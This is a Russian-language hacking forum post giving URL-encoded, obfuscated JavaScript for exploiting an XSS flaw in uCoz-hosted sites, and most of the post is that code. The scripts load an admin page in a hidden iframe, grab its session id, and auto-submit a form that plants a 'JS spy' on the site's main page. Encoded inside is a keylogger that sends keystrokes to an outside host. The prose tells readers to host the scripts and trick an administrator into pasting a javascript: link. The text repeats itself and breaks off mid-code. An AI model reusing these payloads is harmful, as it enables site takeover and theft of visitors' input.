euphoria
03.10.2010, 10:42
HTML:
function getframe(){str=(ifr.document.body.innerHTML);res=( str.match(/((cols=\"40\"\>)([\s\S]*)(\))/im));df=(str.match(/((ssid\" value=\")(([\s\S]){8}))/im));url='http://site.ucoz.ru/index/';shpion='alert("xss")';document.write(unescape("%3c%66%6f%72%6d%20%6d%65%74%68%6f%64%3d%22%50%4f%5 3%54%22%20%69%64%3d%22%67%72%46%6f%72%6d%54%35%22% 20%6e%61%6d%65%3d%22%61%64%64%66%6f%72%6d%22%20%65 %6e%63%74%79%70%65%3d%22%6d%75%6c%74%69%70%61%72%7 4%2f%66%6f%72%6d%2d%64%61%74%61%22%20%61%63%74%69% 6f%6e%3d%22"+url+"%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%6 5%78%74%22%20%6e%61%6d%65%3d%22%6e%61%6d%65%22%20% 76%61%6c%75%65%3d%22%58%58%58%22%3e%3c%74%65%78%74 %61%72%65%61%20%63%6c%61%73%73%3d%22%6d%61%6e%46%6 c%22%20%69%64%3d%22%6d%65%73%73%61%67%65%22%20%6e% 61%6d%65%3d%22%6d%65%73%73%61%67%65%22%3e"+res[3]+shpion+"%3c%2f%74%65%78%74%61%72%65%61%3e%3c%69%6e%70%75%7 4%20%69%64%3d%22%68%74%6d%6c%5f%6d%65%73%73%61%67% 65%22%20%6e%61%6d%65%3d%22%68%74%6d%6c%5f%6d%65%73 %73%61%67%65%22%20%76%61%6c%75%65%3d%22%31%22%3e%3 c%69%6e%70%75%74%20%74%79%70%65%3d%22%73%75%62%6d% 69%74%22%20%69%64%3d%22%64%6f%53%6d%62%42%74%22%3e %3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%6 4%65%6e%22%20%6e%61%6d%65%3d%22%73%22%20%76%61%6c% 75%65%3d%22%31%22%3e%3c%69%6e%70%75%74%20%74%79%70 %65%3d%22%68%69%64%64%65%6e%22%20%6e%61%6d%65%3d%2 2%61%22%20%76%61%6c%75%65%3d%22%33%31%22%3e%3c%69% 6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%64%65%6e %22%20%6e%61%6d%65%3d%22%74%22%20%76%61%6c%75%65%3 d%22%31%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d% 22%68%69%64%64%65%6e%22%20%6e%61%6d%65%3d%22%73%73 %69%64%22%20%76%61%6c%75%65%3d%22"+df[3]+"%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%6 9%64%64%65%6e%22%20%69%64%3d%22%6e%75%6d%69%22%20% 76%61%6c%75%65%3d%22%31%22%3e%3c%2f%66%6f%72%6d%3e %3c%73%63%72%69%70%74%3e%66%75%6e%63%74%69%6f%6e%2 0%78%28%29%7b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72% 6d%73%5b%27%61%64%64%66%6f%72%6d%27%5d%2e%73%75%62 %6d%69%74%28%29%3b%7d%20%78%28%29%3b%3c%2f%73%63%7 2%69%70%74%3e"));}setTimeout('getframe()',2000)
Если будет найдена уязвимость хss на uсоz,
То вид ее эксплуатации примерно такой,
Скрипт заливает на главную страницу JS шпион,
Можно даже, провести атаку без хss уязвимости
Через самодостаточную хss...
Вообще в идеале, можно сделать так...
здесь будет этот код
HTML:
document.write(unescape("%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%69%66%72%2 0%69%64%3d%69%66%72%20%73%72%63%3d%68%74%74%70%3a% 2f%2f%65%75%70%68%6f%72%69%61%62%6f%67%2e%75%63%6f %7a%2e%72%75%2f%69%6e%64%65%78%2f%33%31%2d%31%2d%3 0%2d%31%2d%32%20%77%69%64%74%68%3d%22%30%3f%20%68% 65%69%67%68%74%3d%22%30%3f%20%73%63%72%6f%6c%6c%69 %6e%67%3d%22%6e%6f%22%20%66%72%61%6d%65%62%6f%72%6 4%65%72%3d%22%30%3f%20%73%74%79%6c%65%3d%22%64%69% 73%70%6c%61%79%3a%20%6e%6f%6e%65%22%3e%3c%2f%69%66 %72%61%6d%65%3e%3c%73%63%72%69%70%74%3e%66%75%6e%6 3%74%69%6f%6e%20%67%65%74%66%72%61%6d%65%28%29%7b% 73%74%72%3d%28%69%66%72%2e%64%6f%63%75%6d%65%6e%74 %2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%29%3 b%72%65%73%3d%28%73%74%72%2e%6d%61%74%63%68%28%2f% 28%28%63%6f%6c%73%3d%5c%22%34%30%5c%22%5c%3e%29%28 %5b%5c%73%5c%53%5d%2a%29%28%5c%3c%5c%2f%74%65%78%7 4%61%72%65%61%5c%3e%29%29%2f%69%6d%29%29%3b%64%66% 3d%28%73%74%72%2e%6d%61%74%63%68%28%2f%28%28%73%73 %69%64%5c%22%20%76%61%6c%75%65%3d%5c%22%29%28%28%5 b%5c%73%5c%53%5d%29%7b%38%7d%29%29%2f%69%6d%29%29% 3b%75%72%6c%3d%27%68%74%74%70%3a%2f%2f%65%75%70%68 %6f%72%69%61%62%6f%67%2e%75%63%6f%7a%2e%72%75%2f%6 9%6e%64%65%78%2f%27%3b%74%65%78%74%3d%27%25%33%63% 25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37 %34%25%33%65%25%37%36%25%36%31%25%37%32%25%32%30%2 5%37%30%25%36%38%25%37%30%25%33%64%25%32%37%25%32% 37%25%33%62%25%37%36%25%36%31%25%37%32%25%32%30%25 %37%30%25%36%35%25%37%32%25%36%63%25%33%64%25%33%3 0%25%33%62%25%36%36%25%37%35%25%36%65%25%36%33%25% 37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33 %25%32%38%25%32%39%25%37%62%25%36%39%25%36%64%25%3 6%37%25%32%30%25%33%64%25%32%30%25%36%65%25%36%35% 25%37%37%25%32%30%25%34%39%25%36%64%25%36%31%25%36 %37%25%36%35%25%32%38%25%32%39%25%33%62%25%36%39%2 5%36%64%25%36%37%25%32%65%25%37%33%25%37%32%25%36% 33%25%32%30%25%33%64%25%32%32%25%36%38%25%37%34%25 %37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%3 5%25%37%38%25%37%34%25%37%32%25%36%31%25%36%61%25% 36%62%25%36%31%25%32%65%25%36%38%25%36%34%25%36%34 %25%33%31%25%32%65%25%37%32%25%37%35%25%32%66%25%3 6%36%25%37%61%25%32%65%25%37%30%25%36%38%25%37%30% 25%33%66%25%36%33%25%36%66%25%36%34%25%36%35%25%33 %64%25%32%32%25%32%62%25%37%30%25%36%38%25%37%30%2 5%33%62%25%37%64%25%36%66%25%36%65%25%37%33%25%37% 35%25%36%32%25%36%64%25%36%39%25%37%34%25%33%64%25 %37%33%25%32%38%25%32%39%25%33%62%25%36%36%25%37%3 5%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25% 36%65%25%32%30%25%37%33%25%36%38%25%32%38%25%36%35 %25%37%36%25%37%34%25%32%39%25%37%62%25%37%30%25%3 6%35%25%37%32%25%36%63%25%32%30%25%33%64%25%32%30% 25%37%30%25%36%35%25%37%32%25%36%63%25%32%62%25%33 %31%25%33%62%25%37%30%25%36%38%25%37%30%25%32%30%2 5%33%64%25%32%30%25%37%30%25%36%38%25%37%30%25%32% 62%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25 %36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%6 4%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25% 36%66%25%36%34%25%36%35%25%32%38%25%36%35%25%37%36 %25%37%34%25%32%65%25%37%37%25%36%38%25%36%39%25%3 6%33%25%36%38%25%32%39%25%33%62%25%36%39%25%36%36% 25%32%38%25%36%35%25%37%36%25%37%34%25%32%65%25%37 %37%25%36%38%25%36%39%25%36%33%25%36%38%25%33%64%2 5%33%64%25%33%31%25%33%33%25%32%36%25%32%36%25%37% 30%25%36%35%25%37%32%25%36%63%25%33%65%25%33%64%25 %33%39%25%32%39%25%37%62%25%37%33%25%32%38%25%32%3 9%25%33%62%25%37%64%25%37%64%25%36%34%25%36%66%25% 36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34 %25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%3 6%35%25%32%38%25%32%37%25%33%63%25%36%32%25%36%66% 25%36%34%25%37%39%25%32%30%25%36%66%25%36%65%25%36 %62%25%36%35%25%37%39%25%37%30%25%37%32%25%36%35%2 5%37%33%25%37%33%25%33%64%25%32%32%25%37%33%25%36% 38%25%32%38%25%36%35%25%37%36%25%36%35%25%36%65%25 %37%34%25%32%39%25%33%62%25%32%32%25%33%65%25%32%3 7%25%32%39%25%33%62%25%33%63%25%32%66%25%37%33%25% 36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65 %27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%2 8%75%6e%65%73%63%61%70%65%28%22%25%33%63%25%36%36% 25%36%66%25%37%32%25%36%64%25%32%30%25%36%64%25%36 %35%25%37%34%25%36%38%25%36%66%25%36%34%25%33%64%2 5%32%32%25%35%30%25%34%66%25%35%33%25%35%34%25%32% 32%25%32%30%25%36%39%25%36%34%25%33%64%25%32%32%25 %36%37%25%37%32%25%34%36%25%36%66%25%37%32%25%36%6 4%25%35%34%25%33%35%25%32%32%25%32%30%25%36%65%25% 36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%31 %25%36%34%25%36%34%25%36%36%25%36%66%25%37%32%25%3 6%64%25%32%32%25%32%30%25%36%35%25%36%65%25%36%33% 25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32 %32%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%2 5%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36% 36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25 %36%31%25%37%34%25%36%31%25%32%32%25%32%30%25%36%3 1%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25% 33%64%25%32%32%22%2b%75%72%6c%2b%22%25%32%32%25%33 %65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%2 5%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36% 35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25 %37%34%25%32%32%25%32%30%25%36%65%25%36%31%25%36%6 4%25%36%35%25%33%64%25%32%32%25%36%65%25%36%31%25% 36%64%25%36%35%25%32%32%25%32%30%25%37%36%25%36%31 %25%36%63%25%37%35%25%36%35%25%33%64%25%32%32%25%3 5%38%25%35%38%25%35%38%25%32%32%25%33%65%25%33%63% 25%37%34%25%36%35%25%37%38%25%37%34%25%36%31%25%37 %32%25%36%35%25%36%31%25%32%30%25%36%33%25%36%63%2 5%36%31%25%37%33%25%37%33%25%33%64%25%32%32%25%36% 64%25%36%31%25%36%65%25%34%36%25%36%63%25%32%32%25 %32%30%25%36%39%25%36%34%25%33%64%25%32%32%25%36%6 4%25%36%35%25%37%33%25%37%33%25%36%31%25%36%37%25% 36%35%25%32%32%25%32%30%25%36%65%25%36%31%25%36%64 %25%36%35%25%33%64%25%32%32%25%36%64%25%36%35%25%3 7%33%25%37%33%25%36%31%25%36%37%25%36%35%25%32%32% 25%33%65%22%2b%72%65%73%5b%33%5d%2b%74%65%78%74%2b %22%25%33%63%25%32%66%25%37%34%25%36%35%25%37%38%2 5%37%34%25%36%31%25%37%32%25%36%35%25%36%31%25%33% 65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%25 %37%34%25%32%30%25%36%39%25%36%34%25%33%64%25%32%3 2%25%36%38%25%37%34%25%36%64%25%36%63%25%35%66%25% 36%64%25%36%35%25%37%33%25%37%33%25%36%31%25%36%37 %25%36%35%25%32%32%25%32%30%25%36%65%25%36%31%25%3 6%64%25%36%35%25%33%64%25%32%32%25%36%38%25%37%34% 25%36%64%25%36%63%25%35%66%25%36%64%25%36%35%25%37 %33%25%37%33%25%36%31%25%36%37%25%36%35%25%32%32%2 5%32%30%25%37%36%25%36%31%25%36%63%25%37%35%25%36% 35%25%33%64%25%32%32%25%33%31%25%32%32%25%33%65%25 %33%63%25%36%39%25%36%65%25%37%30%25%37%35%25%37%3 4%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25% 33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64 %25%36%39%25%37%34%25%32%32%25%32%30%25%36%39%25%3 6%34%25%33%64%25%32%32%25%36%34%25%36%66%25%35%33% 25%36%64%25%36%32%25%34%32%25%37%34%25%32%32%25%33 %65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%2 5%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36% 35%25%33%64%25%32%32%25%36%38%25%36%39%25%36%34%25 %36%34%25%36%35%25%36%65%25%32%32%25%32%30%25%36%6 5%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25% 37%33%25%32%32%25%32%30%25%37%36%25%36%31%25%36%63 %25%37%35%25%36%35%25%33%64%25%32%32%25%33%31%25%3 2%32%25%33%65%25%33%63%25%36%39%25%36%65%25%37%30% 25%37%35%25%37%34%25%32%30%25%37%34%25%37%39%25%37 %30%25%36%35%25%33%64%25%32%32%25%36%38%25%36%39%2 5%36%34%25%36%34%25%36%35%25%36%65%25%32%32%25%32% 30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25 %32%32%25%36%31%25%32%32%25%32%30%25%37%36%25%36%3 1%25%36%63%25%37%35%25%36%35%25%33%64%25%32%32%25% 33%33%25%33%31%25%32%32%25%33%65%25%33%63%25%36%39 %25%36%65%25%37%30%25%37%35%25%37%34%25%32%30%25%3 7%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32% 25%36%38%25%36%39%25%36%34%25%36%34%25%36%35%25%36 %65%25%32%32%25%32%30%25%36%65%25%36%31%25%36%64%2 5%36%35%25%33%64%25%32%32%25%37%34%25%32%32%25%32% 30%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25 %33%64%25%32%32%25%33%31%25%32%32%25%33%65%25%33%6 3%25%36%39%25%36%65%25%37%30%25%37%35%25%37%34%25% 32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64 %25%32%32%25%36%38%25%36%39%25%36%34%25%36%34%25%3 6%35%25%36%65%25%32%32%25%32%30%25%36%65%25%36%31% 25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37 %33%25%36%39%25%36%34%25%32%32%25%32%30%25%37%36%2 5%36%31%25%36%63%25%37%35%25%36%35%25%33%64%25%32% 32%22%2b%64%66%5b%33%5d%2b%22%25%32%32%25%33%65%25 %33%63%25%36%39%25%36%65%25%37%30%25%37%35%25%37%3 4%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25% 33%64%25%32%32%25%36%38%25%36%39%25%36%34%25%36%34 %25%36%35%25%36%65%25%32%32%25%32%30%25%36%39%25%3 6%34%25%33%64%25%32%32%25%36%65%25%37%35%25%36%64% 25%36%39%25%32%32%25%32%30%25%37%36%25%36%31%25%36 %63%25%37%35%25%36%35%25%33%64%25%32%32%25%33%31%2 5%32%32%25%33%65%25%33%63%25%32%66%25%36%36%25%36% 66%25%37%32%25%36%64%25%33%65%25%33%63%25%37%33%25 %36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%6 5%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25% 36%39%25%36%66%25%36%65%25%32%30%25%37%38%25%32%38 %25%32%39%25%37%62%25%36%34%25%36%66%25%36%33%25%3 7%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65% 25%36%36%25%36%66%25%37%32%25%36%64%25%37%33%25%35 %62%25%32%37%25%36%31%25%36%34%25%36%34%25%36%36%2 5%36%66%25%37%32%25%36%64%25%32%37%25%35%64%25%32% 65%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25 %37%34%25%32%38%25%32%39%25%33%62%25%37%64%25%32%3 0%25%37%38%25%32%38%25%32%39%25%33%62%25%33%63%25% 32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30 %25%37%34%25%33%65%22%29%29%3b%7d%73%65%74%54%69%6 d%65%6f%75%74%28%27%67%65%74%66%72%61%6d%65%28%29% 27%2c%32%30%30%30%29%3c%2f%73%63%72%69%70%74%3e"))
а здесь будет код, который скроет деятельность в iframe
Code:
document.write(unescape("%3c%69%66%72%61%6d%65%20%20%73%72%63%3d%22%6a%61%7 6%61%73%63%72%69%70%74%3a%25%36%34%25%36%66%25%36% 33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25 %32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%3 5%25%32%38%25%32%37%25%33%63%25%37%33%25%36%33%25% 37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33 %25%37%32%25%36%33%25%33%64%25%32%32%25%36%38%25%3 7%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66% 25%36%62%25%36%61%25%32%65%25%36%31%25%37%34%25%32 %65%25%37%35%25%36%31%25%32%66%25%37%38%25%32%65%2 5%36%61%25%37%33%25%32%32%25%33%65%25%33%63%25%32% 66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25 %37%34%25%33%65%25%32%37%25%32%39%22%20%6e%61%6d%6 5%3d%22%73%66%72%61%6d%65%22%20%69%64%3d%22%73%66% 72%61%6d%65%22%20%77%69%64%74%68%3d%22%30%3f%20%68 %65%69%67%68%74%3d%22%30%3f%20%73%63%72%6f%6c%6c%6 9%6e%67%3d%22%6e%6f%22%20%66%72%61%6d%65%62%6f%72% 64%65%72%3d%22%30%3f%20%73%74%79%6c%65%3d%22%64%69 %73%70%6c%61%79%3a%20%6e%6f%6e%65%22%3e%3c%2f%69%6 6%72%61%6d%65%3e"))
потом все заливаем на короткий адресс(например kj.at.ua)
и даем админу ввести, ну если он ламер то все пройдет....
пример
HTML:
javascript:document.write('%3c%73cript %73rc%3d"%68ttp:%2f/kj.at.ua/z.%6a%73"%3e%3c/%73cript%3e')
Естественно, для этого вам нужно поместить скрипты в 2 файла .js и разместить их на своем хосте ...
И заранее, подкорректировать там адреса(внутри зашифрованного кода)
Будут вопросы, задавайте ; )
function getframe(){str=(ifr.document.body.innerHTML);res=( str.match(/((cols=\"40\"\>)([\s\S]*)(\))/im));df=(str.match(/((ssid\" value=\")(([\s\S]){8}))/im));url='http://site.ucoz.ru/index/';shpion='alert("xss")';document.write(unescape("%3c%66%6f%72%6d%20%6d%65%74%68%6f%64%3d%22%50%4f%5 3%54%22%20%69%64%3d%22%67%72%46%6f%72%6d%54%35%22% 20%6e%61%6d%65%3d%22%61%64%64%66%6f%72%6d%22%20%65 %6e%63%74%79%70%65%3d%22%6d%75%6c%74%69%70%61%72%7 4%2f%66%6f%72%6d%2d%64%61%74%61%22%20%61%63%74%69% 6f%6e%3d%22"+url+"%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%6 5%78%74%22%20%6e%61%6d%65%3d%22%6e%61%6d%65%22%20% 76%61%6c%75%65%3d%22%58%58%58%22%3e%3c%74%65%78%74 %61%72%65%61%20%63%6c%61%73%73%3d%22%6d%61%6e%46%6 c%22%20%69%64%3d%22%6d%65%73%73%61%67%65%22%20%6e% 61%6d%65%3d%22%6d%65%73%73%61%67%65%22%3e"+res[3]+shpion+"%3c%2f%74%65%78%74%61%72%65%61%3e%3c%69%6e%70%75%7 4%20%69%64%3d%22%68%74%6d%6c%5f%6d%65%73%73%61%67% 65%22%20%6e%61%6d%65%3d%22%68%74%6d%6c%5f%6d%65%73 %73%61%67%65%22%20%76%61%6c%75%65%3d%22%31%22%3e%3 c%69%6e%70%75%74%20%74%79%70%65%3d%22%73%75%62%6d% 69%74%22%20%69%64%3d%22%64%6f%53%6d%62%42%74%22%3e %3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%6 4%65%6e%22%20%6e%61%6d%65%3d%22%73%22%20%76%61%6c% 75%65%3d%22%31%22%3e%3c%69%6e%70%75%74%20%74%79%70 %65%3d%22%68%69%64%64%65%6e%22%20%6e%61%6d%65%3d%2 2%61%22%20%76%61%6c%75%65%3d%22%33%31%22%3e%3c%69% 6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%64%65%6e %22%20%6e%61%6d%65%3d%22%74%22%20%76%61%6c%75%65%3 d%22%31%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d% 22%68%69%64%64%65%6e%22%20%6e%61%6d%65%3d%22%73%73 %69%64%22%20%76%61%6c%75%65%3d%22"+df[3]+"%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%6 9%64%64%65%6e%22%20%69%64%3d%22%6e%75%6d%69%22%20% 76%61%6c%75%65%3d%22%31%22%3e%3c%2f%66%6f%72%6d%3e %3c%73%63%72%69%70%74%3e%66%75%6e%63%74%69%6f%6e%2 0%78%28%29%7b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72% 6d%73%5b%27%61%64%64%66%6f%72%6d%27%5d%2e%73%75%62 %6d%69%74%28%29%3b%7d%20%78%28%29%3b%3c%2f%73%63%7 2%69%70%74%3e"));}setTimeout('getframe()',2000)
Если будет найдена уязвимость хss на uсоz,
То вид ее эксплуатации примерно такой,
Скрипт заливает на главную страницу JS шпион,
Можно даже, провести атаку без хss уязвимости
Через самодостаточную хss...
Вообще в идеале, можно сделать так...
здесь будет этот код
HTML:
document.write(unescape("%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%69%66%72%2 0%69%64%3d%69%66%72%20%73%72%63%3d%68%74%74%70%3a% 2f%2f%65%75%70%68%6f%72%69%61%62%6f%67%2e%75%63%6f %7a%2e%72%75%2f%69%6e%64%65%78%2f%33%31%2d%31%2d%3 0%2d%31%2d%32%20%77%69%64%74%68%3d%22%30%3f%20%68% 65%69%67%68%74%3d%22%30%3f%20%73%63%72%6f%6c%6c%69 %6e%67%3d%22%6e%6f%22%20%66%72%61%6d%65%62%6f%72%6 4%65%72%3d%22%30%3f%20%73%74%79%6c%65%3d%22%64%69% 73%70%6c%61%79%3a%20%6e%6f%6e%65%22%3e%3c%2f%69%66 %72%61%6d%65%3e%3c%73%63%72%69%70%74%3e%66%75%6e%6 3%74%69%6f%6e%20%67%65%74%66%72%61%6d%65%28%29%7b% 73%74%72%3d%28%69%66%72%2e%64%6f%63%75%6d%65%6e%74 %2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%29%3 b%72%65%73%3d%28%73%74%72%2e%6d%61%74%63%68%28%2f% 28%28%63%6f%6c%73%3d%5c%22%34%30%5c%22%5c%3e%29%28 %5b%5c%73%5c%53%5d%2a%29%28%5c%3c%5c%2f%74%65%78%7 4%61%72%65%61%5c%3e%29%29%2f%69%6d%29%29%3b%64%66% 3d%28%73%74%72%2e%6d%61%74%63%68%28%2f%28%28%73%73 %69%64%5c%22%20%76%61%6c%75%65%3d%5c%22%29%28%28%5 b%5c%73%5c%53%5d%29%7b%38%7d%29%29%2f%69%6d%29%29% 3b%75%72%6c%3d%27%68%74%74%70%3a%2f%2f%65%75%70%68 %6f%72%69%61%62%6f%67%2e%75%63%6f%7a%2e%72%75%2f%6 9%6e%64%65%78%2f%27%3b%74%65%78%74%3d%27%25%33%63% 25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37 %34%25%33%65%25%37%36%25%36%31%25%37%32%25%32%30%2 5%37%30%25%36%38%25%37%30%25%33%64%25%32%37%25%32% 37%25%33%62%25%37%36%25%36%31%25%37%32%25%32%30%25 %37%30%25%36%35%25%37%32%25%36%63%25%33%64%25%33%3 0%25%33%62%25%36%36%25%37%35%25%36%65%25%36%33%25% 37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33 %25%32%38%25%32%39%25%37%62%25%36%39%25%36%64%25%3 6%37%25%32%30%25%33%64%25%32%30%25%36%65%25%36%35% 25%37%37%25%32%30%25%34%39%25%36%64%25%36%31%25%36 %37%25%36%35%25%32%38%25%32%39%25%33%62%25%36%39%2 5%36%64%25%36%37%25%32%65%25%37%33%25%37%32%25%36% 33%25%32%30%25%33%64%25%32%32%25%36%38%25%37%34%25 %37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%3 5%25%37%38%25%37%34%25%37%32%25%36%31%25%36%61%25% 36%62%25%36%31%25%32%65%25%36%38%25%36%34%25%36%34 %25%33%31%25%32%65%25%37%32%25%37%35%25%32%66%25%3 6%36%25%37%61%25%32%65%25%37%30%25%36%38%25%37%30% 25%33%66%25%36%33%25%36%66%25%36%34%25%36%35%25%33 %64%25%32%32%25%32%62%25%37%30%25%36%38%25%37%30%2 5%33%62%25%37%64%25%36%66%25%36%65%25%37%33%25%37% 35%25%36%32%25%36%64%25%36%39%25%37%34%25%33%64%25 %37%33%25%32%38%25%32%39%25%33%62%25%36%36%25%37%3 5%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25% 36%65%25%32%30%25%37%33%25%36%38%25%32%38%25%36%35 %25%37%36%25%37%34%25%32%39%25%37%62%25%37%30%25%3 6%35%25%37%32%25%36%63%25%32%30%25%33%64%25%32%30% 25%37%30%25%36%35%25%37%32%25%36%63%25%32%62%25%33 %31%25%33%62%25%37%30%25%36%38%25%37%30%25%32%30%2 5%33%64%25%32%30%25%37%30%25%36%38%25%37%30%25%32% 62%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25 %36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%6 4%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25% 36%66%25%36%34%25%36%35%25%32%38%25%36%35%25%37%36 %25%37%34%25%32%65%25%37%37%25%36%38%25%36%39%25%3 6%33%25%36%38%25%32%39%25%33%62%25%36%39%25%36%36% 25%32%38%25%36%35%25%37%36%25%37%34%25%32%65%25%37 %37%25%36%38%25%36%39%25%36%33%25%36%38%25%33%64%2 5%33%64%25%33%31%25%33%33%25%32%36%25%32%36%25%37% 30%25%36%35%25%37%32%25%36%63%25%33%65%25%33%64%25 %33%39%25%32%39%25%37%62%25%37%33%25%32%38%25%32%3 9%25%33%62%25%37%64%25%37%64%25%36%34%25%36%66%25% 36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34 %25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%3 6%35%25%32%38%25%32%37%25%33%63%25%36%32%25%36%66% 25%36%34%25%37%39%25%32%30%25%36%66%25%36%65%25%36 %62%25%36%35%25%37%39%25%37%30%25%37%32%25%36%35%2 5%37%33%25%37%33%25%33%64%25%32%32%25%37%33%25%36% 38%25%32%38%25%36%35%25%37%36%25%36%35%25%36%65%25 %37%34%25%32%39%25%33%62%25%32%32%25%33%65%25%32%3 7%25%32%39%25%33%62%25%33%63%25%32%66%25%37%33%25% 36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65 %27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%2 8%75%6e%65%73%63%61%70%65%28%22%25%33%63%25%36%36% 25%36%66%25%37%32%25%36%64%25%32%30%25%36%64%25%36 %35%25%37%34%25%36%38%25%36%66%25%36%34%25%33%64%2 5%32%32%25%35%30%25%34%66%25%35%33%25%35%34%25%32% 32%25%32%30%25%36%39%25%36%34%25%33%64%25%32%32%25 %36%37%25%37%32%25%34%36%25%36%66%25%37%32%25%36%6 4%25%35%34%25%33%35%25%32%32%25%32%30%25%36%65%25% 36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%31 %25%36%34%25%36%34%25%36%36%25%36%66%25%37%32%25%3 6%64%25%32%32%25%32%30%25%36%35%25%36%65%25%36%33% 25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32 %32%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%2 5%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36% 36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25 %36%31%25%37%34%25%36%31%25%32%32%25%32%30%25%36%3 1%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25% 33%64%25%32%32%22%2b%75%72%6c%2b%22%25%32%32%25%33 %65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%2 5%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36% 35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25 %37%34%25%32%32%25%32%30%25%36%65%25%36%31%25%36%6 4%25%36%35%25%33%64%25%32%32%25%36%65%25%36%31%25% 36%64%25%36%35%25%32%32%25%32%30%25%37%36%25%36%31 %25%36%63%25%37%35%25%36%35%25%33%64%25%32%32%25%3 5%38%25%35%38%25%35%38%25%32%32%25%33%65%25%33%63% 25%37%34%25%36%35%25%37%38%25%37%34%25%36%31%25%37 %32%25%36%35%25%36%31%25%32%30%25%36%33%25%36%63%2 5%36%31%25%37%33%25%37%33%25%33%64%25%32%32%25%36% 64%25%36%31%25%36%65%25%34%36%25%36%63%25%32%32%25 %32%30%25%36%39%25%36%34%25%33%64%25%32%32%25%36%6 4%25%36%35%25%37%33%25%37%33%25%36%31%25%36%37%25% 36%35%25%32%32%25%32%30%25%36%65%25%36%31%25%36%64 %25%36%35%25%33%64%25%32%32%25%36%64%25%36%35%25%3 7%33%25%37%33%25%36%31%25%36%37%25%36%35%25%32%32% 25%33%65%22%2b%72%65%73%5b%33%5d%2b%74%65%78%74%2b %22%25%33%63%25%32%66%25%37%34%25%36%35%25%37%38%2 5%37%34%25%36%31%25%37%32%25%36%35%25%36%31%25%33% 65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%25 %37%34%25%32%30%25%36%39%25%36%34%25%33%64%25%32%3 2%25%36%38%25%37%34%25%36%64%25%36%63%25%35%66%25% 36%64%25%36%35%25%37%33%25%37%33%25%36%31%25%36%37 %25%36%35%25%32%32%25%32%30%25%36%65%25%36%31%25%3 6%64%25%36%35%25%33%64%25%32%32%25%36%38%25%37%34% 